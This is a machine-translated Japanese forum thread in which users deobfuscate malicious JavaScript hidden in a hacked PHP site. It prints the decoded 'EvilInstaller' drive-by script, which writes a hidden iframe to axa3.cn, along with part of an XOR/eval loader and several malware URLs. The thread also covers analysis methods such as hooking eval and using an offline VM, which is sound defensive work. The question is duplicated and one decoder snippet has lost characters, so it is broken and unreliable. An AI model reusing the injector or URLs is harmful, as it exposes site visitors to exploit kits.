javascript の php ファイルの下部にあるコードがいくつかあります。16 進数を ASCII に変換してから、正規表現の置換を行い、コードを実行するなど、多くの奇妙なゆがみを経験します...
実際に実行する前に実行内容を確認する方法はありますか?
コードは次のとおりです。
javascript の php ファイルの下部にあるコードがいくつかあります。16 進数を ASCII に変換してから、正規表現の置換を行い、コードを実行するなど、多くの奇妙なゆがみを経験します...
実際に実行する前に実行内容を確認する方法はありますか?
コードは次のとおりです。
段階ごとに調べることができます-これは Javascript であり、解釈されるため、独自の復号化ツールである必要があります。コマンドライン Javascript インタープリター ( Firebugのコンソールなど) にアクセスできる場合、これはかなり簡単です。
何が出るか見てみます。
編集私はそれのほとんどをやり遂げました-おそらく「argument.callee」が関係しているため、最後のステップは自明ではないようです。とにかく、これまでに持っていたものをPastebinに上げました。
興味深いことに、これで最も困難な部分は、意味不明な変数に適切な名前を付けることでした。クロスワード、または数独を思い出しました。物事がどのように関連しているかはわかっていますが、依存部分が何であるかを理解するまで、何かを明確に割り当てることはできません。:-) 誰かがアルゴリズムを認識した場合、パーツにもっと意味のある名前を付けることができると確信していますが、多くの XOR が行われているところでは、デフォルト名として残した 2 つの一時変数があります。有用なものを提供するのに十分なコンテキストがわからないためです。
最終編集:「arguments.callee」ビットは、皮肉なことにデコードしたばかりの生のテキストを渡すことができることに気付いたときに簡単になりました(これは非常に巧妙な手法であるため、通常の難読化解除はもちろん一度は機能しません)変数などの名前を変更すると、値が異なります)。とにかく、ここに完全なスクリプトがあります:
function EvilInstaller(){};
EvilInstaller.prototype = {
getFrameURL : function() {
var dlh=document.location.host;
return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
},
path:'/elanguage.cn/',
cookieValue:1,
setCookie : function(name, value) {
var d= new Date();
d.setTime(new Date().getTime() + 86400000);
document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
},
install : function() {
if (!this.alreadyInstalled()) {
var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
try {
document.open();
document.write(s);
document.close();
}
catch(e) {
document.write("<html><body>" + s + "</body></html>")
}
this.setCookie(this.cookieName, this.cookieValue);
}
},
getRandString : function() {
var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
var o='';
for (var i=0;i<l;i++) {
o+=c.substr(Math.floor(Math.random()*c.length),1,1);
}
return o;
},
cookieName:'hedcfagb',
host:'axa3.cn',
alreadyInstalled : function() {
return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
}
};
var evil=new EvilInstaller();
evil.install();
基本的に、axa3.cn からマルウェアをロードするようです。ただし、このサイトはすでに ISP によって疑われているため、一般的な悪意を超えて実際に何があったのかはわかりません.
(誰かが興味を持っている場合は、コードのバージョンを変更するための疑似 VCS として Pastebin を使用していたので、最初の編集投稿の少し後に別の中間ステップを見ることができます。難読化のさまざまなレイヤーとその方法を見るのは非常に興味深いものでした。彼らは変わった。)
エスケープされたすべての16進文字をASCIIに変更するperlスクリプトまたは何かを書くだけですか? 次に、正規表現を調べて正確に何が起こっているかを確認し、perl/whatever スクリプトで同じことを行います。
手動でデコードすることもできますが、多くの段階のデコードがあるとすぐに面倒になります。私は通常、各ステップを確認するために eval/write を置き換えます。
<script>
window.__eval= window.eval;
window.eval= function(s) { if (confirm('OK to eval? '+s)) return this.__eval(s); }
document.__write= document.write;
document.write= function(s) { if (confirm('OK to write? '+s)) return this.__write(s); }
</script>
ただし、この特定のスクリプトは、window.eval を意図的に検査することで、この問題から保護されています。また、arguments.callee の使用は、スクリプトが特定のブラウザー (この場合は IE) の Function.toString 形式に依存していることも意味します。他のブラウザーでは機能しません。この場合、代替 eval 関数に回避策を入れて、スクリプトが期待するものを与えることができますが、それでも少し面倒です。
Script Debugger を使用してコードをステップ実行することもできますが、この場合は、ネットワークのない仮想マシンでコードを実行できるようにすることもできました。コードの実行後に document.body.innerHTML を見ると、次の場所を指す非表示の iframe が追加されていることがわかりました。
hxxp://62bc13b764ad2799.bbe4e7d3df5fdea8.axa3.cn/elanguage.cn/
次の場所にリダイレクトします。
hxxp://google.com.upload.main.update.originalcn.cn/ebay.cn/index.php
IE で適切な条件で表示すると、大量のエクスプロイトが得られます。これらの URL にはアクセスしないでください。
手短に言えば、あなたのサーバーは axa3.cn によってハッキングされました。これは、現在活動している、中国がホストしているがロシアが運営する多くのマルウェア ギャングの 1 つです。
firebug コンソールを試して、少しずつ分解することができます。はじめに:
var jQuery = eval('w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, ''));
「eval」関数を「jQuery」としてマスクしているだけです
非常に慎重に-誰かがコードを難読化するためにこれほど苦労している場合、それはおそらく何らかの攻撃スクリプトです
ローカルのhtmlファイルを使って実行結果を段階的に出力し、一度に1つずつ取ることができます
これを行うと、次のようになります:
var jQuery = "eval(" +
'w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, '') +
");";
document.writeln('jQuery=' + jQuery);
利回り
jQuery=eval(window.eval);
crescentfresh が観察したように、変数 jQuery を window.eval 関数にバインドします。
次のセクションでは明らかに 16 進コードで何かを評価しようとしています。そのため、16 進コード文字列がどのように見えるか見てみましょう (プレゼンテーションのために手動で再フォーマットされています)。
function g4LZ(s9QNvAL)
{
function eDdqkXm(fX09)
{
var uaWG=0;
var jtoS=fX09.length;
var aCD6=0;
while(aCD6wQ5.length)
d971I=0;
if(f234SD>lIXy6md.length)
f234SD=0;
kyCyJ+=String.fromCharCode(nCV2eO^ocx) + '';
}
eval(kyCyJ);
return kyCyJ=new String();
}
catch(e){}
}
g4LZ('%33...%5e');
最後にエスケープされた文字列があるので、unescape を使用してそこにあるものを見てみましょう (プレゼンテーションのために切り詰められています)。
30248118GA0* l: WRG:nt9*82:)7Z\uF%*{...
率直に言って、私はこれを分解するのに飽きてきたので、代わりにそれをローカルの html ファイルにダンプし、インターネットから切断し、Firefox を開き、JavaScript を無効にし、Firefox にファイルをロードし、Firebug を有効にし、ページをリロードして実行しました、DOM を検査しました。
スクリプトは、SRC が [安全のために変更されました!] に設定された IFRAME を作成します。
http://4b3b9e839fd84e47 [DO NOT CLICK THIS URL] .27f721b7f6c92d76.axa3.cn/elanguage.cn/
axa3.cn は、マルウェアのブラックリストに載っている中国のドメインです
最も簡単な方法は、単純な C プログラムを使用して、エスケープされた 16 進文字を次のように読み取り可能なテキストに変換することです。
#include <stdio.h>
const char wtf[] = ""; // Really long string goes here
int main(void) {
::printf("%s\n", wtf);
}
これが得られます(フォーマットを追加しました)。より同じように見える最後の部分を終了させてください.
私はそれが答えではないことを知っていますが、通常(このようなものを見た場所)、それらは配置されているため、その行が実行されない場合、すべてのスクリプトが停止します。なぜ彼らはそうするのですか?まあ、彼らは著作権をスクリプト(またはより通常はテンプレート)に印刷しています。
人々が著作権を削除するライセンスを持っているため、認識を与えるのに苦労する場合、私はそれを支払うことをお勧めします。なぜなら、あなたがそれを「リバースエンジニアリング」したとしても、あなたのライセンスは真実です。(これらのソフトウェアのいくつかは、実際にそうしている場合、何らかのメッセージを送信します)。
しかし、炎上する前に、この種のセキュリティに戻って元のコードを取得し、それを破るのが興味深いことに同意します =)